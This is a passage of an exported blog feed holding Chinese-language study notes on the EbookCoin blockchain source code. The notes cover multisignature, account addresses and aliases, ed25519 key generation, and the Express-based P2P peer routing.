合法性检验 }, required: [\u0026#34;secret\u0026#34;, \u0026#34;secondSecret\u0026#34;] }, function (err) { if (err) { return cb(err[0].message); } ... // 密码检测部分，签名出现多次 library.balancesSequence.add(function (cb) { // 多重签名判断 if (body.multisigAccountPublicKey \u0026amp;\u0026amp; body.multisigAccountPublicKey != keypair.publicKey.toString(\u0026#39;hex\u0026#39;)) { modules.accounts.getAccount({publicKey: body.multisigAccountPublicKey}, function (err, account) { ... // 合法性检验 modules.accounts.getAccount({publicKey: keypair.publicKey}, function (err, requester) { if (err) { return cb(err.toString()); } ... // 合法性检验 var secondHash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secondSecret, \u0026#39;utf8\u0026#39;).digest(); var secondKeypair = ed.MakeKeypair(secondHash); ... // }); }); } else { modules.accounts.getAccount({publicKey: keypair.publicKey.toString(\u0026#39;hex\u0026#39;)}, function (err, account) { if (err) { return cb(err.toString()); } ... // 合法性检验 var secondHash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secondSecret, \u0026#39;utf8\u0026#39;).digest(); var secondKeypair = ed.MakeKeypair(secondHash); try { var transaction = library.logic.transaction.create({ type: TransactionTypes.SIGNATURE, sender: account, keypair: keypair, secondKeypair: secondKeypair }); } catch (e) { return cb(e.toString()); } modules.transactions.receiveTransactions([transaction], cb); }); } }, function (err, transaction) { if (err) { return cb(err.toString()); } cb(null, {transaction: transaction[0]}); }); });} 代码的实现，实际上是创建了一个是签名类型的交易。感觉在此处的功能可能不是那么完整。这里又secondSecret，像是注册了第二密码。实际上在书中所描述的，是亿书的支付密码功能。\n多重签名\n简单的理解来说，就好比一个文件需要几个人一起签名了之后才会生效，这个就是所谓的多重签名。就像是核弹的发射按钮一样，需要多个授权码才可以进行操作。\n完成应用的场景，我们可以设想成我们常见的担保交易。AB之间的交易，需要C进行担保，所以先A签名，B签名，确认之后C进行签名，使得交易有效，即可实现功能\n所以，多重签名的应用场景，在于 电子商务，财产分割，资金管理。\nrouter.map(shared, { \u0026#34;get /pending\u0026#34;: \u0026#34;pending\u0026#34;, // Get pending transactions \u0026#34;post /sign\u0026#34;: \u0026#34;sign\u0026#34;, // Sign transaction \u0026#34;put /\u0026#34;: \u0026#34;addMultisignature\u0026#34;, // Add multisignature \u0026#34;get /accounts\u0026#34;: \u0026#34;getAccounts\u0026#34;});library.network.app.use(\u0026#39;/api/multisignatures\u0026#39;, router); 多重签名其对应着自己的一套独立的API。，一样的格式，实现组建功能的拓展\nrequired: [\u0026#39;min\u0026#39;, \u0026#39;lifetime\u0026#39;, \u0026#39;keysgroup\u0026#39;, \u0026#39;secret\u0026#39;] 这里是多重签名所需要的参数。\n后 实际上，这一部分的源码，感觉也只是从概念上再次理解了签名的实现。不过，这里的源码实现的方式可能和心中想的不太一样，\n个人认为，签名是一个交易所必须的部分，因为这样才能证明交易的发起者，是正确的账户所有者。在文章所示的代码中，只是进行账户认证后，生成了secondKeypair。并没有实际上的使用其 prikey 对数据进行加密的部分 weird。可能具体细节是在交易里面实现的。\n","date":"2018-05-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-13-ebookcoin-%E6%BA%90%E7%A0%81-0x5/","tags":null,"title":"EbookCoin 源码 0x5"},{"categories":null,"contents":"前 这次的一个period是基于《Nodejs区块链开发》这本书的的区块链项目–亿书，的源码学习笔记\nEbookCoin项目地址\n最近的拖延症严重到极致，我都是有点佩服自己了，应该一周前的是现在还没有解决。\n地址 前：前面的部分，从篇幅都可以看出是个极简单的功能，一句话概括就是通过一个初始密码，生成一个密钥对，然后保存在account结构中。当然，我们的一个账户，将会实现一个 全面的api，用来显示账户的信息，像是余额，地址，私钥。。。\n文件包含 ./modules/accounts.js ./logic/account.js ./modules/contracts.js accounts.js 实现了账户功能\naccount.js 实现了账户属性\ncontracts.js 实现了联系人的功能\n代码实现 API\n已知，ebook是基于HTTP实现的区块链项目，所以，其功能是由其api实现的。所以这里从其实现的功能入手。这个称之为中间件，拓展路由的。\nrouter.map(shared, { \u0026#34;post /open\u0026#34;: \u0026#34;open\u0026#34;, \u0026#34;get /getBalance\u0026#34;: \u0026#34;getBalance\u0026#34;, \u0026#34;get /getPublicKey\u0026#34;: \u0026#34;getPublickey\u0026#34;, \u0026#34;post /generatePublicKey\u0026#34;: \u0026#34;generatePublickey\u0026#34;, \u0026#34;get /delegates\u0026#34;: \u0026#34;getDelegates\u0026#34;, \u0026#34;get /delegates/fee\u0026#34;: \u0026#34;getDelegatesFee\u0026#34;, \u0026#34;put /delegates\u0026#34;: \u0026#34;addDelegates\u0026#34;, \u0026#34;get /username/get\u0026#34;: \u0026#34;getUsername\u0026#34;, \u0026#34;get /username/fee\u0026#34;: \u0026#34;getUsernameFee\u0026#34;, \u0026#34;put /username\u0026#34;: \u0026#34;addUsername\u0026#34;, \u0026#34;get /\u0026#34;: \u0026#34;getAccount\u0026#34; });通过些拓展的API我们可以发现，一个账户的具体要实现的功能.打开账户,余额,公钥,等等.在后面的代码里,实现了中间件功能的添加,可以实现了在EXPRESS的 框架里的功能拓展. library.network.app.use(\u0026#39;/api/accounts\u0026#39;, router);如果在http的请求层次,我们和得到如以下的映射 get /api/getBalance -\u0026gt; shared.getBalance post /api/open -\u0026gt; shared.open 账户地址\n在比特币系统中地址实际上有多种, 1 开头的 账户地址,以及 3 开头的测试地址.所以根据地址的形式可以实现不同种类的地址分类.地址的生成过程在前面的地方有涉及,这里再贴出代码.\nAccounts.prototype.generateAddressByPublicKey = function (publicKey) { var publicKeyHash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(publicKey, \u0026#39;hex\u0026#39;).digest(); var temp = new Buffer(8); for (var i = 0; i \u0026lt; 8; i++) { temp[i] = publicKeyHash[7 - i]; } var address = bignum.fromBuffer(temp).toString() + \u0026#39;L\u0026#39;; // 注意这里是在后面添加了L if (!address) { throw Error(\u0026#34;wrong publicKey \u0026#34; + publicKey); } return address;}; 在亿书的项目里面,使用了地址后面的后缀对不同的地址进行区分.上面的 **L** 是用于生成常规地址的.还有一类的地址,是块地址(这个好像在传统体系里面没有).其使用的是结尾的**C作为标识** privated.getAddressByPublicKey = function (publicKey) { var publicKeyHash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(publicKey, \u0026#39;hex\u0026#39;).digest(); var temp = new Buffer(8); for (var i = 0; i \u0026lt; 8; i++) { temp[i] = publicKeyHash[7 - i]; } var address = bignum.fromBuffer(temp).toString() + \u0026#34;C\u0026#34;; return address; } generatorId: privated.getAddressByPublicKey(raw.b_generatorPublicKey), 别名地址\n在亿书的项目中很好的加入了别名地址这个东西.比如我们在BTC体系下的转账需要输入很长的账户地址,往往,这个地址是十分难以记忆的,座椅在亿书的体系中引入了别名系统(ALIAS),就像支付宝的用户名一样,我们不需要一大堆冗长的字符串,只需要用户名一样的东西,就可以进行转账.具体的实现原理是在数据库中同时保存地址和别名.\n由于别名通常是用于转账的时候,所以别名的引用代码,在trsnaction的模块里\nshared.addTransactions = function (req, cb) { var body = req.body; library.scheme.validate(body, { type: \u0026#34;object\u0026#34;, properties: { secret: { ... // 用于检验合法性 } }, required: [\u0026#34;secret\u0026#34;, \u0026#34;amount\u0026#34;, \u0026#34;recipientId\u0026#34;] }, function (err) { if (err) { return cb(err[0].message); } // 这里是对密码的检验 var hash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secret, \u0026#39;utf8\u0026#39;).digest(); var keypair = ed.MakeKeypair(hash); if (body.publicKey) { if (keypair.publicKey.toString(\u0026#39;hex\u0026#39;) != body.publicKey) { return cb(\u0026#34;Invalid passphrase\u0026#34;); } } var query = {}; // 神奇的正则表达式 var isAddress = /^[0-9]+[L|l]$/g; // 这里里的IF 就是显得很重要的了,实际上这里是对其进行的一次判断, // 如果是合法的地址,那么就是使用地址查询, 如果不是地址就是使用别名查询 if (isAddress.test(body.recipientId)) { query.address = body.recipientId; } else { query.username = body.recipientId; } library.balancesSequence.add(function (cb) { modules.accounts.getAccount(query, function (err, recipient) { ... // 合法性判断 var recipientId = recipient ? recipient.address : body.recipientId; var recipientUsername = recipient ? recipient.username : null; ... // 一系列的正则判断 try { // 创建交易结构 var transaction = library.logic.transaction.create({ type: TransactionTypes.SEND, amount: body.amount, sender: account, recipientId: recipientId, recipientUsername: recipientUsername, keypair: keypair, requester: keypair, secondKeypair: secondKeypair }); } catch (e) { return cb(e.toString()); 具体部分注释中标出. 这里的 recipientID 可以是地址,也可以是用户名. 别名注册\n别名在地址生成的本身是不需要的,需要的只是 secret ,所以,别名的注册是另一个功能.\nshared.addUsername = function (req, cb) { var body = req.body; library.scheme.validate(body, { ... // 格式检测 } }, required: [\u0026#39;secret\u0026#39;, \u0026#39;username\u0026#39;] }, function (err) { if (err) { return cb(err[0].message); } var hash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secret, \u0026#39;utf8\u0026#39;).digest(); var keypair = ed.MakeKeypair(hash); // 打开钱包的密码判断 if (body.publicKey) { if (keypair.publicKey.toString(\u0026#39;hex\u0026#39;) != body.publicKey) { return cb(\u0026#34;Invalid passphrase\u0026#34;); } } library.balancesSequence.add(function (cb) { // 判断是否多重签名 if (body.multisigAccountPublicKey \u0026amp;\u0026amp; body.multisigAccountPublicKey != keypair.publicKey.toString(\u0026#39;hex\u0026#39;)) { modules.accounts.getAccount({publicKey: keypair.publicKey}, function (err, requester) { ... // 合法性 var secondKeypair = null; if (requester.secondSignature) { var secondHash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secondSecret, \u0026#39;utf8\u0026#39;).digest(); secondKeypair = ed.MakeKeypair(secondHash); } try { var transaction = library.logic.transaction.create({ type: TransactionTypes.USERNAME, username: body.username, sender: account, keypair: keypair, secondKeypair: secondKeypair, requester: keypair }); } catch (e) { return cb(e.toString()); } modules.transactions.receiveTransactions([transaction], cb); }); }); } else { self.getAccount({publicKey: keypair.publicKey.toString(\u0026#39;hex\u0026#39;)}, function (err, account) { if (err) { ... // 合法性检测 var secondKeypair = null; if (account.secondSignature) { var secondHash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(body.secondSecret, \u0026#39;utf8\u0026#39;).digest(); secondKeypair = ed.MakeKeypair(secondHash); } try { var transaction = library.logic.transaction.create({ type: TransactionTypes.USERNAME, username: body.username, sender: account, keypair: keypair, secondKeypair: secondKeypair }); } catch (e) { return cb(e.toString()); } ... // 在这部分的代码中,实际上的主要函数,是在上面创建的一个交易,这个交易是写在链上的,`type: TransactionTypes.USERNAME,`,这样就可以建立一个别名,实现地址的映射. 总结 看完这部份的功能, 其实发现了一个共性我们可以很简单的概述我们上面所有的 操作的功能.就是 交易 ,没错一切就是交易.\n这里的交易实际上是一种泛化,其实是指的在区块链上所有的记录,也就是上链.一旦数据上链,那么就是产生一个不可改变的记录值.\n这里 的api 实际上是对特殊交易种类的不同封装.\n","date":"2018-05-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-12-ebookcoin-%E6%BA%90%E7%A0%81-0x4/","tags":null,"title":"EbookCoin 源码 0x4"},{"categories":null,"contents":"前 这次的一个period是基于《Nodejs区块链开发》这本书的的区块链项目–亿书，的源码学习笔记\nEbookCoin项目地址\n加密和验证 其实慢慢的发现，如果把区块链给拆解了，那么一个P2P网络的上一层，就是一个 PKI(Public Key Infrastructure) ，一个完整的加密体系。使得加密网络的实现。\n模块包含 ./modules/accounts.js ./logic/account.js accounts.js 实现了账户功能\naccount.js 实现了账户属性\n技术概念 在书中讲解的主要是公钥加密，此处略去。\n在比特币的环境下，一个密钥对的公钥可以近似的看作这个账户的地址。私钥是用于生成比特币支付的必须的签名，用来证明对该账户的所有权，即地址中的所有的资金对视取决于其对应的密钥进行的所有权和控制权。\n私钥必须严格保密，一旦发生丢失，其保护的比特币永远不会找回。\n在ebookcoin的项目里，也是直接使用了公钥地址作为了用户的ID。\n加密过程，使用了NodeJs的Crypto的模块，提供了安全凭证的方式，用于HTTPS/HTTP的连接，有对OoenSSL，HMAC，Hash，加密，解密，签名，验证，都是是进行了封装。\n在项目中实现的hash算法是 HASH256.\nvar hash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(data).digest(); 上面的语句实际上是实现了一个，先创建 256 的实例，之后对数据进行处理，最后使用digest，获得加密字符串(密文)。之后可以使用Ed25518实现密钥对\n签名验证 使用Ed25519组件，封装了数字签名算法，签名验证速度很快。7100 Signature/s\nvar res = ed.Verify(hash, signatureBuffer || \u0026#39; \u0026#39;, publicKeyBuffer || \u0026#39; \u0026#39;); 代码实现 使用过钱包都知道，很多软件，在创建钱包的实话，只是需要使用一次输入的密码就好了，另外可能会加上混淆。实际上，就是这个密码，会生成我们的公钥和私钥。（一般我们注册的时候是不是用户名密码都有来着？？）\n在这个项目中，其公钥生成代码如下\nshared.generatePublickey = function (req, cb) { var body = req.body; library.scheme.validate(body, { // 检查结构合法，多次出现 type: \u0026#34;object\u0026#34;, properties: { secret: { type: \u0026#34;string\u0026#34;, minLength: 1 } }, required: [\u0026#34;secret\u0026#34;] }, function (err) { if (err) { return cb(err[0].message); } privated.openAccount(body.secret, function (err, account) { // 通过合法性检测，就开户 var publicKey = null; if (!err \u0026amp;\u0026amp; account) { publicKey = account.publicKey; } cb(err, { publicKey: publicKey }); }); });}; 上面的代码如何产生一个地址公钥的过程，前面的部分检测合法性，后面的就是使用就对用户的secret进行处理。后面调用 openAccount\nprivated.openAccount = function (secret, cb) { var hash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(secret, \u0026#39;utf8\u0026#39;).digest(); var keypair = ed.MakeKeypair(hash); self.setAccountAndGet({publicKey: keypair.publicKey.toString(\u0026#39;hex\u0026#39;)}, cb); // 以键值的形式传入了参数}; 调用的时候，把 secret 参数传入。在这里对密码进行 sha256 处理，和前面描述一样，先建立实例，之后使用进行散列。\n这里得到 hash 之后，使用 MakeKeypair 进行生成密钥对.\nvar ed = require(\u0026#39;ed25519\u0026#39;); 这里的 MakeKeypair 是ed25519自带的模块,不展开了.其返回的值实际上是一个 密钥对.而后使用内部成员.setAccountAndGet\nAccounts.prototype.setAccountAndGet = function (data, cb) { var address = data.address || null; if (address === null) { if (data.publicKey) { address = self.generateAddressByPublicKey(data.publicKey); } else { return cb(\u0026#34;Missing address or public key\u0026#34;); } } if (!address) { throw cb(\u0026#34;Invalid public key\u0026#34;); } library.logic.account.set(address, data, function (err) { if (err) { return cb(err); } library.logic.account.get({address: address}, cb); });}; 这里的一句 var address = data.address || null;显得很神奇.在网上看到了如下解释\njs 这种写法是什么意思 var a= b || c 在js中，这相当于一个赋值语句，如果b的值大于0或为true，那么就把b的值赋给a，否在就把c的值赋给a\n所以,这里就是判断,这个data的address是否是空,不空,就赋值addr,空就幅值 null.\n如果是空,那我们就直接进入if,给其分配addr.我们知道,地址是其公钥通过特定算法得到的\nAccounts.prototype.generateAddressByPublicKey = function (publicKey) { var publicKeyHash = crypto.createHash(\u0026#39;sha256\u0026#39;).update(publicKey, \u0026#39;hex\u0026#39;).digest(); var temp = new Buffer(8); for (var i = 0; i \u0026lt; 8; i++) { temp[i] = publicKeyHash[7 - i]; } var address = bignum.fromBuffer(temp).toString() + \u0026#39;L\u0026#39;; if (!address) { throw Error(\u0026#34;wrong publicKey \u0026#34; + publicKey); } return address;}; 使用这段函数,我们从函数名可以看出,是通过 pubkey得到我们拥有的地址。从函数得知，其地址，是取其hash的前8位倒序。\n返回上级函数，一次判断生成地址是否为空。之后调用logic。保存账户地址参数。\n后 这里的代码篇幅很大，本书中只是讲解了部分简单的功能，这里做个推广的总结，我们的地址是来自于公钥的特殊处理。在一系列操作之后，地址，公钥，私钥，都会存入我们的 logic的参数里面，实现了一个钱包的创建\n最近，拖延症又是严重的时候。\n","date":"2018-05-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-11-ebookcoin-%E6%BA%90%E7%A0%81-0x3/","tags":null,"title":"EbookCoin 源码 0x3"},{"categories":null,"contents":"前 这次的一个period是基于《Nodejs区块链开发》这本书的的区块链项目–亿书，的源码学习笔记\nEbookCoin项目地址\nP2P网络 在书中的标题是一个精巧的P2P网络的实现.\n模块包含 这部分主要的包含文件包括\n./modules/peer.js // 用于实现作为节点的功能 ./modules/transport.js // 实现传输？ ./helper/router.js // 如其名，路由 transport 和 router 作为 peer 的两个辅助模块，一起实现了一个p2p网络上的独立节点。\nrouter.js 路由拓展 这个文件内容不多，42 line\n27 路由定义\nvar Router = function () { var router = require(\u0026#39;express\u0026#39;).Router(); router.use(function (req, res, next) { res.header(\u0026#34;Access-Control-Allow-Origin\u0026#34;, \u0026#34;*\u0026#34;); res.header(\u0026#34;Access-Control-Allow-Headers\u0026#34;, \u0026#34;Origin, X-Requested-With, Content-Type, Accept\u0026#34;); next(); }); router.map = map; return router;} 这段代码，实现了一个 Router 的辅助模块。定义 router 是一个 基于Express 的拓展。实现两个功能：\n\u0026quot;Access-Control-Allow-Origin\u0026quot;, \u0026quot;*\u0026quot; \u0026quot;Access-Control-Allow-Headers\u0026quot;, \u0026quot;Origin, X-Requested-With, Content-Type, Accept\u0026quot;说明允许跨域请求，任何的ip和端口的节点都可以被访问。 router.map 设置(指定)了地址的映射方法。 \u0026gt; [什么是跨域请求](https://blog.csdn.net/github_37360787/article/details/54834789) 3 地址映射\n这里的map有两个参数，root，config。\nfunction map(root, config) { root：定义开放API的逻辑函数\nconfig：定义了路由和root所定义的函数之间的对应关系。\n等同于\nrouter.get(‘/peers’, function(req,res,next){\nroot.getPeers(...); });\n在Js中对象是散列的，所以root.getPeer() 和 root[‘getPeer’]相同\nrouter[route[0]](https://www.diglp.xyz/2018/05/03/BC_EbookCoin_0x2/route%5B1%5D,%20function%20(req,%20res,%20next) {\n像是这里，实际上分割参数后，第一个就是目标(/peer)，第二个就是方法。\n在 peer.js 的文件中，可以看到对map函数的调用\nrouter.map(shared, {\n\u0026#34;get /\u0026#34;: \u0026#34;getPeers\u0026#34;,\u0026#34;get /version\u0026#34;: \u0026#34;version\u0026#34;,\u0026#34;get /get\u0026#34;: \u0026#34;getPeer\u0026#34; });\n通过阅读源码我们可以知道，router 是对 get /version的分割。所以route[0] 是 get，route[1] 就是我们的请求的url。\n那么这样的话我们可以把上面的代码进行转换\nrouter[get](https://www.diglp.xyz/2018/05/03/BC_EbookCoin_0x2/'/\u0026amp;%2339;,%20function%20(req,%20res,%20next) {\nrouter.get 又是什么？ 这样我们转到前面的路由定义\nvar router = require(‘express’).Router();\n所以说是 express框架 所提供的路由对象的方法。那么到网上检索之\nExpressRouter\n用官方的话讲:对象的一个实例， METHOD 是一个 HTTP 请求方法， path 是服务器上的路径， callback 是当路由匹配时要执行的函数\n所以说，这里的代码，实际上是实现了路由地址和内容的绑定\n这里有个point var router = this;这里的函数式编程就厉害了，凭空的一个 this ，实际上了解了之后，知道，这个this 就是指的**调用当前函数的对象**。 var router = new Router(); router.map(shared, { \u0026#34;get /\u0026#34;: \u0026#34;getPeers\u0026#34;, \u0026#34;get /version\u0026#34;: \u0026#34;version\u0026#34;, \u0026#34;get /get\u0026#34;: \u0026#34;getPeer\u0026#34; }); peer.js 节点 节点路由 16 构造器\n这里是JS中 Peer 的构造器。\n// Constructorfunction Peer(cb, scope) { library = scope; // 这里的scope 就是从app.js 传来的 self = this; self.__private = privated; privated.attachApi(); setImmediate(cb, null, self); // 定时执行} 25 功能绑定\n可以使用这样的方法实现保护函数。这个函数的功能从字面意义上就是绑定API。实际上就是使得我们的 http 请求对应的API，绑定到具体的返回操作。\n// private methodsprivated.attachApi = function () { var router = new Router(); // 作为中间件 // 没有挂载路径的中间件，应用的每个请求都会执行该中间件 // 所以这段代码可以理解为，模块是否加载，如果没有，就返回错误 router.use(function (req, res, next) { if (modules) return next(); res.status(500).send({success: false, error: \u0026#34;Blockchain is loading\u0026#34;}); }); // 绑定关系 router.map(shared, { \u0026#34;get /\u0026#34;: \u0026#34;getPeers\u0026#34;, \u0026#34;get /version\u0026#34;: \u0026#34;version\u0026#34;, \u0026#34;get /get\u0026#34;: \u0026#34;getPeer\u0026#34; }); // 怎么绕开了这个报错的中间件？ router.use(function (req, res) { res.status(500).send({success: false, error: \u0026#34;API endpoint not found\u0026#34;}); });这里的 **express.use** 是作为中间件，这个前面就应该看看。\u0026gt;中间件（Middleware） 是一个函数，它可以访问请求对象（request object (req)）, 响应对象（response object (res)）, 和 web 应用中处于请求-响应循环流程中的中间件，一般被命名为 next 的变量。这里还有很重要的一点:**如果当前中间件没有终结请求-响应循环，则必须调用 next() 方法将控制权交给下一个中间件，否则请求就会挂起。**\u0026gt; [Express_中间件](http://www.expressjs.com.cn/guide/using-middleware.html) 44 拓展Express\nlibrary.network.app.use(\u0026#39;/api/peers\u0026#39;, router); library.network.app.use(function (err, req, res, next) { if (!err) return next(); library.logger.error(req.url, err.toString()); res.status(500).send({success: false, error: err.toString()}); });}; 这一部分，一样的是以 use打头，前面是路径，后面是 Obj。所以这里是对上面的我们定义的 var router = require('express').Router() 的一个拓展。这样，以下请求，将会使用 router这部分的功能。\nhttp://ip:port/api/peers/\nhttp://ip:port/api/peers/version/\nhttp://ip:port/api/peers/get/\n后继的中间件，就是对错误情况进行处理了\n455 合法性检测\n这个是 z_scheme 模块中的功能，意在实现合法性检测。\nlibrary.scheme.validate(query, { type: \u0026#34;object\u0026#34;, properties: { ip_str: { type: \u0026#34;string\u0026#34;, minLength: 1 }, port: { type: \u0026#34;integer\u0026#34;, minimum: 0, maximum: 65535 } }, required: [\u0026#39;ip_str\u0026#39;, \u0026#39;port\u0026#39;]}, function (err) { 可以看到，validate 的字面意思就是证实的意思。所以这样，可以用此，保证查询地址的合法性。\n之后通过 privated.getByFilter({ 查询路由表，这里涉及到 dblite，使用的是SQLite 数据库\n节点存储 在上面的部分实现了，对于单个节点的查询功能，使得可以返回路由信息等。这在这里就会有，关于节点信息的存储。 节点初始化\n由于P2P,没有中心服务器，所以各个节点之间，只能靠自己的网络发现，来寻找彼此，所以，使用互联网节点进行初始化，是很重要的事情。可以很大的提高组网速度。\n在Config.js 文件中，也提供了初始化的节点列表\n\u0026#34;peers\u0026#34;: { \u0026#34;list\u0026#34;: [ { ip:0.0.0.0 port:7000 } ], \u0026#34;blackList\u0026#34;: [], \u0026#34;options\u0026#34;: { \u0026#34;timeout\u0026#34;: 4000 }}, 347 写入节点\n根据函数的命名。可以看出这个是一个服务函数。是在区块链准备完成之后进行的。\nasync简介\nPeer.prototype.onBlockchainReady = function () {async.eachSeries(library.config.peers.list, function (peer, cb) { library.dbLite.query(\u0026#34;INSERT OR IGNORE INTO peers(ip, port, state, sharePort) VALUES($ip, $port, $state, $sharePort)\u0026#34;, { ip: ip.toLong(peer.ip), port: peer.port, state: 2, sharePort: Number(true) }, cb);}, function (err) { 这里是对列表中的每个项目，进行顺序执行。执行数据库查询语句，把已知的数据插入到数据库中\nINSERT OR IGNORE INTO peers(ip, port, state, sharePort) VALUES($ip, $port, $state, $sharePort) 这里就是插入语句，IGNORE 如果主键重复，就对其进行忽略，对于相同的列名进行插入。后面的指定是 插入内容的合法格式。这里的 state:2 是默认值，说明是正常节点。\n**364** 这里是使用的 bus 辅助模块，相当于模块之间的通信总线，当节点准备完毕之后，发送 **peerReady** 消息。触发了 **peerReady事件**。 library.bus.message(\u0026#39;peerReady\u0026#39;); 374 节点更新\n这部分实现的节点数据的更新。\nPeer.prototype.onPeerReady = function () { setImmediate(function nextUpdatePeerList() { // 这里是定时执行的函数，前面见过 privated.updatePeerList(function (err) { err \u0026amp;\u0026amp; library.logger.error(\u0026#39;updatePeerList timer\u0026#39;, err); setTimeout(nextUpdatePeerList, 60 * 1000); }) }); setImmediate(function nextBanManager() { privated.banManager(function (err) { err \u0026amp;\u0026amp; library.logger.error(\u0026#39;banManager timer\u0026#39;, err); setTimeout(nextBanManager, 65 * 1000) }); });}; setImmediate() 立即执行预定的Callback.在I/O 实践回调之后立即触发。这里有领个，我们可以得知，第一个是循环(60s)更新节点列表，第二个是更新节点状态。\n52 这里是上面定时执行的节点更新函数。\nprivated.updatePeerList = function (cb) { modules.transport.getFromRandomPeer({ api: \u0026#39;/list\u0026#39;, method: \u0026#39;GET\u0026#39; }, function (err, data) { 这里是对modules.transport.getFromRandomPeer()的一次封装。翻译过来就是随机节点获取。474\n这里是随机节点传输的实现函数：\nTransport.prototype.getFromRandomPeer = function (config, options, cb) { if (typeof options == \u0026#39;function\u0026#39;) { cb = options; options = config; config = {}; } config.limit = 1; async.retry(20, function (cb) { modules.peer.list(config, function (err, peers) { // 这里的函数就是list的callback if (!err \u0026amp;\u0026amp; peers.length) { var peer = peers[0]; self.getFromPeer(peer, options, cb); // 这里使用自身函数实现对其他节点的 Get请求 } else { return cb(err || \u0026#34;No peers in db\u0026#34;); } }); }, function (err, results) { cb(err, results); }); };这里的 `async.retry` 是指对后面的函数重复 20 次。这里重复的 List 方法在Peer的定义里如下 **232** Peer.prototype.list = function (options, cb) { options.limit = options.limit || 100; library.dbLite.query(\u0026#34;select p.ip, p.port, p.state, p.os, p.sharePort, p.version from peers p \u0026#34; + (options.dappid ? \u0026#34; inner join peers_dapp pd on p.id = pd.peerId and pd.dappid = $dappid \u0026#34; : \u0026#34;\u0026#34;) + \u0026#34; where p.state \u0026gt; 0 and p.sharePort = 1 ORDER BY RANDOM() LIMIT $limit\u0026#34;, options, { \u0026#34;ip\u0026#34;: String, \u0026#34;port\u0026#34;: Number, \u0026#34;state\u0026#34;: Number, \u0026#34;os\u0026#34;: String, \u0026#34;sharePort\u0026#34;: Number, \u0026#34;version\u0026#34;: String }, function (err, rows) { cb(err, rows); }); };这里实现了，对已知节点的数据查询，而且最大的查询数量是100个，其查询结果传入回调函数 cb。在上面的list调用中，rows，作为实参传给了 peers。如果没错误，且节点内容合法，读取 `peer[0]` (即IP地址)，对其发送 **getFromPeer** 请求！获取其他API。**518** 重点函数 getFromPeer实现了对其他节点的请求。下面是对请求结构的构造。 var req = { url: \u0026#39;http://\u0026#39; + ip.fromLong(peer.ip) + \u0026#39;:\u0026#39; + peer.port + url, method: options.method, json: true, headers: _.extend({}, privated.headers, options.headers), timeout: library.config.peers.options.timeout };get函数会直接返回请求结果 return request(req, function (err, response, body) { if (err || response.statusCode != 200) { // 这里是对请求异常，分无法连接，和返回错误两种 library.logger.debug(\u0026#39;Request\u0026#39;, { url: req.url, statusCode: response ? response.statusCode : \u0026#39;unknown\u0026#39;, err: err }); if (peer) { if (err \u0026amp;\u0026amp; (err.code == \u0026#34;ETIMEDOUT\u0026#34; || err.code == \u0026#34;ESOCKETTIMEDOUT\u0026#34; || err.code == \u0026#34;ECONNREFUSED\u0026#34;)) { // 这里对于，异常节点，故障。进行删除 modules.peer.remove(peer.ip, peer.port, function (err) { if (!err) { library.logger.info(\u0026#39;Removing peer \u0026#39; + req.method + \u0026#39; \u0026#39; + req.url) } }); } else { // 这里是返回值异常的节点，对其状态更改ban掉 if (!options.not_ban) { modules.peer.state(peer.ip, peer.port, 0, 600, function (err) { if (!err) { library.logger.info(\u0026#39;Ban 10 min \u0026#39; + req.method + \u0026#39; \u0026#39; + req.url); } }); } } } cb \u0026amp;\u0026amp; cb(err || (\u0026#39;request status code\u0026#39; + response.statusCode)); return; }这里是**核心函数**的前面的错误处理的部分，主要分两种情况，对无法连接和返回值异常的节点进行处理。前者直接进行删除，后者先ban十分钟。---**564** 在这个部分，对于请求的返回信息，进行解析，一样的使用的是`scheme.validate()`方法，其判断其格式是否如给定一样，如果解析失败，那么返回空数据。 var report = library.scheme.validate(response.headers, { type: \u0026#34;object\u0026#34;, properties: { os: { type: \u0026#34;string\u0026#34;, maxLength: 64 }, port: { type: \u0026#34;integer\u0026#34;, minimum: 1, maximum: 65535 }, \u0026#39;share-port\u0026#39;: { type: \u0026#34;integer\u0026#34;, minimum: 0, maximum: 1 }, version: { type: \u0026#34;string\u0026#34;, maxLength: 11 } }, required: [\u0026#39;port\u0026#39;, \u0026#39;share-port\u0026#39;, \u0026#39;version\u0026#39;] }); if (!report) { return cb \u0026amp;\u0026amp; cb(null, {body: body, peer: peer}); }**593** 这里剩下的就是正常的，可以被解析的数据了。先对其端口合法化进行检测，之后对比自身版本号是否相同，一切一切都OK了，那么我们就使用update进行更新 var port = response.headers.port; if (port \u0026gt; 0 \u0026amp;\u0026amp; port \u0026lt;= 65535 \u0026amp;\u0026amp; response.headers[\u0026#39;version\u0026#39;] == library.config.version) { modules.peer.update({ ip: peer.ip, port: port, state: 2, os: response.headers[\u0026#39;os\u0026#39;], sharePort: Number(!!response.headers[\u0026#39;share-port\u0026#39;]), version: response.headers[\u0026#39;version\u0026#39;] }); } cb \u0026amp;\u0026amp; cb(null, {body: body, peer: peer});至此，节点列表更新循环完毕。**382** 节点状态刷新循环。这个循环时循环的 BanManager rivated.banManager = function (cb) { library.dbLite.query(\u0026#34;UPDATE peers SET state = 1, clock = null where (state = 0 and clock - $now \u0026lt; 0)\u0026#34;, {now: Date.now()}, cb); };这里就比较简单，对于超时的节点，对其状态进行刷新。 至此，一个P2P的网络构建完成。\n后 虽说，通过这部分的源码理解，和对其源码设计的思考。基本上是了解了，一个基于http的P2P网络的构成。总结讲，就是对节点其他节点的列表请求来拓展自己目前的节点列表，从而一步步的构成一个P2P网络。\n不过，实际上，还是有很多值得思考，和未知的地方，\n网络发现，因为我们不可能一开始就有多数的节点，所以网络发现感觉挺重要 关于节点间通信，如果作为对等节点，基本的功能可以通过 api 实现，不过如果我是想，进行一个 点对点的通信，而不是广播请求。那么又将如何实现？ ","date":"2018-05-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-02-ebookcoin-%E6%BA%90%E7%A0%81-0x2/","tags":null,"title":"EbookCoin 